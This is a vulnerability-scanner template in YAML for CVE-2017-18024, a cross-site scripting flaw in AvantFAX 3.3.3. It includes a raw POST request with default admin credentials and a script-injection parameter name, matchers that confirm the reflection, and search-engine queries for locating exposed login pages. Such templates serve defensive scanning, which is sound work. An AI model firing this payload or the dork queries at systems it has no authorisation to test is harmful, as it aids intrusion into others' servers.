id: CVE-2017-18024

info:
  name: AvantFAX 3.3.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of AvantFAX or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://hackerone.com/reports/963798
    - http://packetstormsecurity.com/files/145776/AvantFAX-3.3.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18024
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/NarbehJackson/Java-Xss-minitwit16
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18024
    cwe-id: CWE-79
    epss-score: 0.08402
    epss-percentile: 0.92429
    cpe: cpe:2.3:a:avantfax:avantfax:3.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: avantfax
    product: avantfax
    shodan-query: http.title:"avantfax - login"
    fofa-query: title="avantfax - login"
    google-query: intitle:"avantfax - login"
  tags: cve,cve2017,avantfax,hackerone,packetstorm,xss,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=admin&_submit_check=1&jlbqg<script>alert("{{randstr}}")</script>b7g0x=1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert("{{randstr}}")</script>'
          - 'AvantFAX'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b67f070039247286351efb14626a0fee5e2748a73fd4fcc6d762fecdb5f9452c022100e83f70bc363b94a07e7d9dd2a0bd65c0395206ca6303b4b14b066d27b9dd6e2d:922c64590222798bb761d5b6d8e72950